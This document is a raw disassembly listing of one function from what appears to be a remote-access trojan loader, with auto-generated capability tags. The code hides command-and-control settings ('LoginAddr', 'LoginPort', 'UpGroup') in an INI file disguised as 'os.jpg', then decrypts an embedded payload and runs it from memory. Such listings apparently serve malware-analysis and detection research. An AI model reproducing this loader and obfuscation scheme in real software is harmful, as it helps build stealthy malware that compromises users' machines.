Function at 0x1400012c0
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Get common file path
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x398
movaps xmmword [rsp + 0x380], xmm7
movaps xmmword [rsp + 0x370], xmm6
mov r14, r9
mov r12, r8
mov r15d, edx
mov rbx, rcx
mov rsi, qword [rsp + 0x400]
lea rbp, [rsp + 0x260]
mov r8d, 0x104
mov rcx, rbp
xor edx, edx
call fcn.140004a90
xor ecx, ecx
mov rdx, rbp
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rbp
mov edx, 0x5c
call fcn.140004e18
lea rcx, [rax + 1]
mov rdx, rsi
call fcn.140006ff0
test eax, eax
jne 0x140001b12
lea rsi, [rsp + 0x150]
mov r8d, 0x104
mov rcx, rsi
xor edx, edx
call fcn.140004a90
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1a
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movabs rax, 0x67706a2e736f5c
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140006e80
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rbx
call fcn.140007070
mov rdi, rax
lea r13d, [rax + 1]
movsxd rbp, r13d
mov rcx, rbp
call fcn.1400069c4
mov rsi, rax
mov rcx, rax
mov rdx, rbx
mov r8, rbp
call fcn.1400043e0
cmp edi, 0x7ffffffe
ja 0x140001515
mov eax, r13d
cmp r13d, 8
jae 0x1400013d9
xor ecx, ecx
jmp 0x140001500
cmp r13d, 0x20
jae 0x1400013e6
xor ecx, ecx
jmp 0x1400014bc
mov ecx, eax
and ecx, 0xffffffe0
lea rdx, [rcx - 0x20]
mov rbx, rdx
shr rbx, 5
inc rbx
test rdx, rdx
je 0x140001ae1
mov rbp, rbx
and rbp, 0xfffffffffffffffe
xor edx, edx
movdqa xmm0, xmmword [str.1111111111111111888888888888888811111111]
movdqa xmm1, xmmword [0x140010090]
nop dword [rax + rax]
movdqu xmm2, xmmword [rsi + rdx]
movdqu xmm3, xmmword [rsi + rdx + 0x10]
movdqu xmm4, xmmword [rsi + rdx + 0x20]
movdqu xmm5, xmmword [rsi + rdx + 0x30]
pxor xmm2, xmm0
pxor xmm3, xmm0
paddb xmm2, xmm1
paddb xmm3, xmm1
movdqu xmmword [rsi + rdx], xmm2
movdqu xmmword [rsi + rdx + 0x10], xmm3
pxor xmm4, xmm0
pxor xmm5, xmm0
paddb xmm4, xmm1
paddb xmm5, xmm1
movdqu xmmword [rsi + rdx + 0x20], xmm4
movdqu xmmword [rsi + rdx + 0x30], xmm5
add rdx, 0x40
add rbp, 0xfffffffffffffffe
jne 0x140001420
test bl, 1
je 0x1400014b3
movdqu xmm0, xmmword [rsi + rdx]
movdqu xmm1, xmmword [rsi + rdx + 0x10]
movdqa xmm2, xmmword [str.1111111111111111888888888888888811111111]
pxor xmm0, xmm2
pxor xmm1, xmm2
movdqa xmm2, xmmword [0x140010090]
paddb xmm0, xmm2
paddb xmm1, xmm2
movdqu xmmword [rsi + rdx], xmm0
movdqu xmmword [rsi + rdx + 0x10], xmm1
cmp rcx, rax
je 0x140001515
test al, 0x18
je 0x140001500
mov rdx, rcx
mov ecx, eax
and ecx, 0xfffffff8
movdqa xmm0, xmmword [0x1400100a0]
movdqa xmm1, xmmword [str.88888888]
nop word cs:[rax + rax]
movq xmm2, qword [rsi + rdx]
pxor xmm2, xmm0
paddb xmm2, xmm1
movq qword [rsi + rdx], xmm2
add rdx, 8
cmp rcx, rdx
jne 0x1400014e0
cmp rcx, rax
je 0x140001515
movzx edx, byte [rsi + rcx]
xor dl, 0x31
add dl, 0x38
mov byte [rsi + rcx], dl
inc rcx
cmp rax, rcx
jne 0x140001500
lea r8, [rsp + 0x40]
mov rcx, rsi
mov edx, r13d
call fcn.1400010b0
mov rcx, rsi
call fcn.1400069b0
mov rsi, qword [rsp + 0x40]
movabs rax, 0x6464416e69676f4c
mov qword [rsp + 0x28], rax
mov word [rsp + 0x30], 0x72
mov dword [rsp + 0x20], 0x69676f6c
mov word [rsp + 0x24], 0x6e
lea rdi, [rsp + 0x40]
mov r8d, 0x104
mov rcx, rdi
xor edx, edx
call fcn.140004a90
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x1a
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movabs r13, 0x67706a2e736f5c
mov qword [rsp + 0x38], r13
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140006e80
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
movabs rax, 0x726f506e69676f4c
mov qword [rsp + 0x40], rax
mov word [rsp + 0x48], 0x74
mov dword [rsp + 0x28], 0x69676f6c
mov word [rsp + 0x2c], 0x6e
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, r15d
call fcn.1400011e0
mov rcx, r12
call fcn.140007070
mov rdi, rax
lea ebx, [rax + 1]
movsxd rbp, ebx
mov rcx, rbp
call fcn.1400069c4
mov rsi, rax
mov rcx, rax
mov rdx, r12
mov r8, rbp
call fcn.1400043e0
cmp edi, 0x7ffffffe
ja 0x140001765
mov eax, ebx
cmp ebx, 8
jae 0x14000162d
xor ecx, ecx
jmp 0x140001750
cmp ebx, 0x20
jae 0x140001639
xor ecx, ecx
jmp 0x14000170d
mov ecx, eax
and ecx, 0xffffffe0
lea rdx, [rcx - 0x20]
mov rdi, rdx
shr rdi, 5
inc rdi
test rdx, rdx
je 0x140001af1
mov rbp, rdi
and rbp, 0xfffffffffffffffe
xor edx, edx
movdqa xmm0, xmmword [str.1111111111111111888888888888888811111111]
movdqa xmm1, xmmword [0x140010090]
nop
movdqu xmm2, xmmword [rsi + rdx]
movdqu xmm3, xmmword [rsi + rdx + 0x10]
movdqu xmm4, xmmword [rsi + rdx + 0x20]
movdqu xmm5, xmmword [rsi + rdx + 0x30]
pxor xmm2, xmm0
pxor xmm3, xmm0
paddb xmm2, xmm1
paddb xmm3, xmm1
movdqu xmmword [rsi + rdx], xmm2
movdqu xmmword [rsi + rdx + 0x10], xmm3
pxor xmm4, xmm0
pxor xmm5, xmm0
paddb xmm4, xmm1
paddb xmm5, xmm1
movdqu xmmword [rsi + rdx + 0x20], xmm4
movdqu xmmword [rsi + rdx + 0x30], xmm5
add rdx, 0x40
add rbp, 0xfffffffffffffffe
jne 0x140001670
test dil, 1
je 0x140001704
movdqu xmm0, xmmword [rsi + rdx]
movdqu xmm1, xmmword [rsi + rdx + 0x10]
movdqa xmm2, xmmword [str.1111111111111111888888888888888811111111]
pxor xmm0, xmm2
pxor xmm1, xmm2
movdqa xmm2, xmmword [0x140010090]
paddb xmm0, xmm2
paddb xmm1, xmm2
movdqu xmmword [rsi + rdx], xmm0
movdqu xmmword [rsi + rdx + 0x10], xmm1
cmp rcx, rax
je 0x140001765
test al, 0x18
je 0x140001750
mov rdx, rcx
mov ecx, eax
and ecx, 0xfffffff8
movdqa xmm0, xmmword [0x1400100a0]
movdqa xmm1, xmmword [str.88888888]
nop word cs:[rax + rax]
movq xmm2, qword [rsi + rdx]
pxor xmm2, xmm0
paddb xmm2, xmm1
movq qword [rsi + rdx], xmm2
add rdx, 8
cmp rcx, rdx
jne 0x140001730
cmp rcx, rax
je 0x140001765
movzx edx, byte [rsi + rcx]
xor dl, 0x31
add dl, 0x38
mov byte [rsi + rcx], dl
inc rcx
cmp rax, rcx
jne 0x140001750
lea r8, [rsp + 0x40]
mov rcx, rsi
mov edx, ebx
call fcn.1400010b0
mov rcx, rsi
call fcn.1400069b0
mov rsi, qword [rsp + 0x40]
movabs rax, 0x72616d6552727473
mov qword [rsp + 0x28], rax
mov word [rsp + 0x30], 0x6b
mov dword [rsp + 0x20], 0x69676f6c
mov word [rsp + 0x24], 0x6e
lea rdi, [rsp + 0x40]
mov r8d, 0x104
mov rcx, rdi
xor edx, edx
call fcn.140004a90
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x1a
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov qword [rsp + 0x38], r13
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140006e80
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x28]
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov rcx, r14
call fcn.140007070
mov rbx, rax
lea edi, [rax + 1]
movsxd rbp, edi
mov rcx, rbp
call fcn.1400069c4
mov rsi, rax
mov rcx, rax
mov rdx, r14
mov r8, rbp
call fcn.1400043e0
cmp ebx, 0x7ffffffe
ja 0x140001975
mov eax, edi
cmp edi, 8
jae 0x14000183b
xor ecx, ecx
jmp 0x140001960
cmp edi, 0x20
jae 0x140001847
xor ecx, ecx
jmp 0x14000191c
mov ecx, eax
and ecx, 0xffffffe0
lea rdx, [rcx - 0x20]
mov rbx, rdx
shr rbx, 5
inc rbx
test rdx, rdx
je 0x140001b02
mov rbp, rbx
and rbp, 0xfffffffffffffffe
xor edx, edx
movdqa xmm0, xmmword [str.1111111111111111888888888888888811111111]
movdqa xmm1, xmmword [0x140010090]
nop dword [rax]
movdqu xmm2, xmmword [rsi + rdx]
movdqu xmm3, xmmword [rsi + rdx + 0x10]
movdqu xmm4, xmmword [rsi + rdx + 0x20]
movdqu xmm5, xmmword [rsi + rdx + 0x30]
pxor xmm2, xmm0
pxor xmm3, xmm0
paddb xmm2, xmm1
paddb xmm3, xmm1
movdqu xmmword [rsi + rdx], xmm2
movdqu xmmword [rsi + rdx + 0x10], xmm3
pxor xmm4, xmm0
pxor xmm5, xmm0
paddb xmm4, xmm1
paddb xmm5, xmm1
movdqu xmmword [rsi + rdx + 0x20], xmm4
movdqu xmmword [rsi + rdx + 0x30], xmm5
add rdx, 0x40
add rbp, 0xfffffffffffffffe
jne 0x140001880
test bl, 1
je 0x140001913
movdqu xmm0, xmmword [rsi + rdx]
movdqu xmm1, xmmword [rsi + rdx + 0x10]
movdqa xmm2, xmmword [str.1111111111111111888888888888888811111111]
pxor xmm0, xmm2
pxor xmm1, xmm2
movdqa xmm2, xmmword [0x140010090]
paddb xmm0, xmm2
paddb xmm1, xmm2
movdqu xmmword [rsi + rdx], xmm0
movdqu xmmword [rsi + rdx + 0x10], xmm1
cmp rcx, rax
je 0x140001975
test al, 0x18
je 0x140001960
mov rdx, rcx
mov ecx, eax
and ecx, 0xfffffff8
movdqa xmm0, xmmword [0x1400100a0]
movdqa xmm1, xmmword [str.88888888]
nop word cs:[rax + rax]
movq xmm2, qword [rsi + rdx]
pxor xmm2, xmm0
paddb xmm2, xmm1
movq qword [rsi + rdx], xmm2
add rdx, 8
cmp rcx, rdx
jne 0x140001940
cmp rcx, rax
je 0x140001975
movzx edx, byte [rsi + rcx]
xor dl, 0x31
add dl, 0x38
mov byte [rsi + rcx], dl
inc rcx
cmp rax, rcx
jne 0x140001960
lea rbx, [rsp + 0x40]
mov rcx, rsi
mov edx, edi
mov r8, rbx
call fcn.1400010b0
mov rcx, rsi
call fcn.1400069b0
mov rsi, qword [rsp + 0x40]
movabs rax, 0x70756f72477055
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0x69676f6c
mov word [rsp + 0x24], 0x6e
xor ebp, ebp
lea rdi, [rsp + 0x40]
mov r8d, 0x104
mov rcx, rdi
xor edx, edx
call fcn.140004a90
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x1a
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov qword [rsp + 0x28], r13
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.140006e80
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea rsi, [0x14001a1e0]
movdqa xmm6, xmmword [str.HHHHHHHHHHHHHHHH]
movdqa xmm7, xmmword [0x140010070]
nop dword [rax]
movdqa xmm0, xmmword [rbp + rsi]
pxor xmm0, xmm6
movdqa xmm1, xmmword [rbp + rsi + 0x10]
pxor xmm1, xmm6
paddb xmm0, xmm7
paddb xmm1, xmm7
pxor xmm0, xmm6
pxor xmm1, xmm6
paddb xmm0, xmm7
paddb xmm1, xmm7
pxor xmm0, xmm6
pxor xmm1, xmm6
paddb xmm0, xmm7
paddb xmm1, xmm7
movdqa xmmword [rbp + rsi], xmm0
movdqa xmmword [rbp + rsi + 0x10], xmm1
add rbp, 0x20
cmp rbp, 0xe8c00
jne 0x140001a20
mov edx, 0xe8c00
mov rcx, rsi
call fcn.140001d80
mov ebp, 0
test rax, rax
je 0x140001a20
mov rdi, rax
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x40], 0x64616f4c
mov rcx, rax
mov rdx, rbx
call fcn.1400029a0
test rax, rax
jne 0x140001ab3
xor ebp, ebp
jmp 0x140001a20
call rax
mov rcx, rdi
call fcn.140002890
movaps xmm6, xmmword [rsp + 0x370]
movaps xmm7, xmmword [rsp + 0x380]
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
test bl, 1
jne 0x14000147d
jmp 0x1400014b3
xor edx, edx
test dil, 1
jne 0x1400016ce
jmp 0x140001704
xor edx, edx
test bl, 1
jne 0x1400018dd
jmp 0x140001913
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]